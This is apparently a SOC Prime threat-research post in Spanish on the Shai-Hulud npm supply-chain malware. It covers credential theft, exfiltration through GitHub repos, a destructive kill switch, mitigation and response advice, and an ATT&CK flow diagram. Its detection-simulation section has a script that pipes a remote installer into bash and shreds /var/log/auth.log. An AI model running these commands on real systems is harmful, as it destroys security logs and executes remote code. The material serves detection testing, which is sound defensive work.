SOC Prime Bias: Crítico

28 Nov 2025 18:53

Shai-Hulud: Ataque generalizado a la cadena de suministro de npm

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Shai-Hulud: Ataque generalizado a la cadena de suministro de npm
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

GitLab divulgó una intrusión generalizada en la cadena de suministro dirigida a los ecosistemas de npm. La campaña promueve una variante actualizada del malware Shai-Hulud a través de scripts preinstalados maliciosos. Esta carga recopila credenciales de nube y de alojamiento de código, envía datos a repositorios de GitHub controlados por el atacante y se propaga aún más al republicar paquetes troyanizados. Un interruptor de seguridad incorporado puede borrar o corromper archivos de usuarios si se interrumpe la infraestructura del atacante.

Investigación

El equipo de investigación de vulnerabilidades de GitLab rastreó la actividad hasta paquetes npm contaminados cuyo archivo package.json modificado hace referencia a un cargador setup_bun.js. Este cargador instala el entorno de ejecución Bun y dispara una carga útil bundled bun_environment.js que recopila credenciales, ejecuta Trufflehog para descubrir secretos y sube los resultados a un repositorio público en GitHub. El malware también crea nuevos repositorios de GitHub como buzones de entrega y abusa de los tokens de npm robados para republicar paquetes comprometidos. Si se pierde el acceso tanto a GitHub como a npm, la carga procede a borrar o sobrescribir archivos de usuario.

Mitigación

GitLab recomienda que las organizaciones inspeccionen las dependencias de npm en busca de scripts de preinstalación inesperados y validen la integridad de los paquetes publicados. Los equipos deben eliminar los cargadores setup_bun.js no autorizados, revocar los tokens de npm y GitHub expuestos, y vigilar los repositorios sospechosos en GitHub marcados con la etiqueta “Sha1-Hulud: The Second Coming.” La protección de endpoints debe configurarse para bloquear scripts de Node no confiables y detectar las líneas de comando destructivas documentadas en el informe.

Respuesta

Cuando se detecta actividad, aísle el sistema afectado, revoque todas las credenciales comprometidas y elimine los paquetes npm maliciosos de los registros internos. Realice una revisión forense para confirmar o descartar la exfiltración de datos y la destrucción de archivos. Emita nuevas credenciales para las plataformas en la nube y GitHub, y monitoree continuamente GitHub en busca de repositorios recién creados que coincidan con la marca del atacante. Finalmente, refuerce las tuberías CI/CD para prohibir scripts de preinstalación arbitrarios.

mermaid graph TB %% Class definitions classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes – Attack Techniques tech_supply_chain[«<b>Técnica</b> – <b>T1195.001 Compromiso en la Cadena de Suministro</b>: Paquetes npm maliciosos publican un package.json modificado que añade un script de preinstalación»] class tech_supply_chain technique tech_client_exec[«<b>Técnica</b> – <b>T1203 Explotación para Ejecución en Cliente</b>: npm ejecuta el script de preinstalación durante la instalación del paquete, ejecutando el setup_bun.js malicioso»] class tech_client_exec technique tech_software_ext[«<b>Técnica</b> – <b>T1176 Extensiones de Software</b>: El script de preinstalación actúa como una extensión maliciosa del paquete legítimo»] class tech_software_ext technique tech_obfuscate[«<b>Técnica</b> – <b>T1027 Archivos o Información Ofuscados</b>: Se descarga una carga útil bun_environment.js ofuscada»] class tech_obfuscate technique tech_decode[«<b>Técnica</b> – <b>T1140 Desofuscar/Decodificar Archivos o Información</b>: La carga útil se decodifica antes de la ejecución»] class tech_decode technique tech_hidden_files[«<b>Técnica</b> – <b>T1564.001 Archivos y Directorios Ocultos</b>: Crea .truffler‑cache/ y subdirectorios»] class tech_hidden_files technique tech_path_excl[«<b>Técnica</b> – <b>T1564.012 Exclusiones de Rutas de Archivos</b>: Almacena binarios maliciosos en rutas ocultas para evitar la detección»] class tech_path_excl technique tech_cred_in_files[«<b>Técnica</b> – <b>T1552.001 Credenciales en Archivos</b>: Escanea .npmrc, variables de entorno y archivos de configuración en busca de tokens de nube y repositorio»] class tech_cred_in_files technique tech_auto_collect[«<b>Técnica</b> – <b>T1119 Recolección Automatizada</b>: Ejecuta Trufflehog para recoger secretos del sistema de archivos»] class tech_auto_collect technique tech_exfil_repo[«<b>Técnica</b> – <b>T1567.001 Exfiltración a Repositorio de Código</b>: Usa token de GitHub robado para crear repos públicos y subir credenciales»] class tech_exfil_repo technique tech_destructive[«<b>Técnica</b> – <b>T1565 Manipulación de Datos</b>: Ejecuta comandos destructivos (del, cipher, shred) para borrar y sobrescribir datos de usuario»] class tech_destructive technique tech_impair[«<b>Técnica</b> – <b>T1562 Deterioro de Defensas</b>: El interruptor de apagado desactiva la recuperación destruyendo datos»] class tech_impair technique tech_propagate[«<b>Técnica</b> – <b>T1195.001 Propagación en la Cadena de Suministro</b>: Usa tokens de npm robados para inyectar scripts de preinstalación maliciosos en paquetes de víctimas y republica»] class tech_propagate technique %% Nodes – Files and Tools file_package_json[«<b>Archivo</b>: package.json con script de preinstalación malicioso»] class file_package_json file file_setup_bun[«<b>Archivo</b>: setup_bun.js (script de preinstalación)»] class file_setup_bun file file_bun_env[«<b>Archivo</b>: bun_environment.js (carga ofuscada)»] class file_bun_env file file_trufflehog[«<b>Herramienta</b>: Binario de Trufflehog almacenado en .truffler‑cache»] class file_trufflehog tool file_hidden_dir[«<b>Archivo</b>: Directorio oculto .truffler‑cache/»] class file_hidden_dir file file_github_repo[«<b>Archivo</b>: Repositorio público de GitHub creado para exfiltración»] class file_github_repo file %% Edges – Attack Flow tech_supply_chain u002du002d>|adds preinstall script| file_package_json file_package_json u002du002d>|triggers during npm install| tech_client_exec tech_client_exec u002du002d>|executes| file_setup_bun file_setup_bun u002du002d>|downloads| file_bun_env file_bun_env u002du002d>|is| tech_obfuscate tech_obfuscate u002du002d>|requires| tech_decode tech_decode u002du002d>|produces executable payload| tech_software_ext tech_software_ext u002du002d>|creates| file_hidden_dir file_hidden_dir u002du002d>|stores| file_trufflehog file_trufflehog u002du002d>|used for| tech_auto_collect tech_auto_collect u002du002d>|collects credentials| tech_cred_in_files tech_cred_in_files u002du002d>|provides tokens to| tech_exfil_repo tech_exfil_repo u002du002d>|uploads data to| file_github_repo tech_exfil_repo u002du002d>|if tokens lost triggers| tech_destructive tech_destructive u002du002d>|disables recovery via| tech_impair tech_impair u002du002d>|enables| tech_propagate tech_propagate u002du002d>|injects malicious preinstall into new npm packages| tech_supply_chain %% Styling class tech_supply_chain,tech_client_exec,tech_software_ext,tech_obfuscate,tech_decode,tech_hidden_files,tech_path_excl,tech_cred_in_files,tech_auto_collect,tech_exfil_repo,tech_destructive,tech_impair,tech_propagate technique class file_package_json,file_setup_bun,file_bun_env,file_hidden_dir,file_github_repo file class file_trufflehog tool

Flujo de Ataque

Ejecución de Simulación

Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Narrativa del Ataque y Comandos

El adversario ha ganado una posición en el host Linux comprometido. Para establecer un entorno de ejecución persistente capaz de ejecutar más cargas útiles basadas en JavaScript, descargan e instalan el entorno de Bun a través de una sola línea que transmite el instalador directamente a bash. Inmediatamente después de confirmar que el entorno de ejecución está presente, el atacante activa un “interruptor de apagado” (simulado aquí por un sleeptemporizado) que lanza una operación destructiva shred para eliminar irrecuperablemente un archivo sensible (/var/log/auth.log).

Los pasos son:

  1. Descargar e instalar Bun:
    curl -fsSL https://bun.sh/install | bash
  2. Esperar brevemente (simulando el tiempo del interruptor).
  3. Ejecutar shred destructivo:
    shred -uvz -n 1 /var/log/auth.log

Ambos comandos generan eventos de creación de procesos que coinciden con las palabras clave exactas de la regla Sigma.

Script de Prueba de Regresión

#!/bin/bash
# -------------------------------------------------
# Simular comportamiento “Bun install + shred” de Shai‑Hulud
# -------------------------------------------------

# 1️⃣ Instalar Bun (comando exacto requerido para la detección)
echo "[*] Instalando entorno de Bun..."
curl -fsSL https://bun.sh/install | bash

# Pausa corta para emular tiempo realista
sleep 5

# 2️⃣ Realizar borrado destructivo de archivos (comando exacto requerido)
TARGET_FILE="/var/log/auth.log"
if [[ -f "$TARGET_FILE" ]]; then
    echo "[*] Borrando $TARGET_FILE ..."
    shred -uvz -n 1 "$TARGET_FILE"
else
    echo "[!] Archivo de destino no encontrado; creando archivo ficticio para demostración."
    echo "dummy data" > "$TARGET_FILE"
    shred -uvz -n 1 "$TARGET_FILE"
fi

echo "[*] Simulación completa."

Comandos de Limpieza

#!/bin/bash
# -------------------------------------------------
# Limpiar después de la simulación de Bun/Shred
# -------------------------------------------------

# Eliminar cualquier archivo residual de Bun (si está instalado)
if command -v bun >/dev/null 2>&1; then
    echo "[*] Eliminando entorno de Bun..."
    rm -rf "$HOME/.bun"
    rm -f /usr/local/bin/bun
fi

# Recrear el archivo de registro partido (para la estabilidad del sistema)
TARGET_FILE="/var/log/auth.log"
if [[ ! -f "$TARGET_FILE" ]]; then
    echo "archivo de registro de marcador recreado" | sudo tee "$TARGET_FILE" >/dev/null
    sudo chmod 600 "$TARGET_FILE"
fi

echo "[*] Limpieza completa."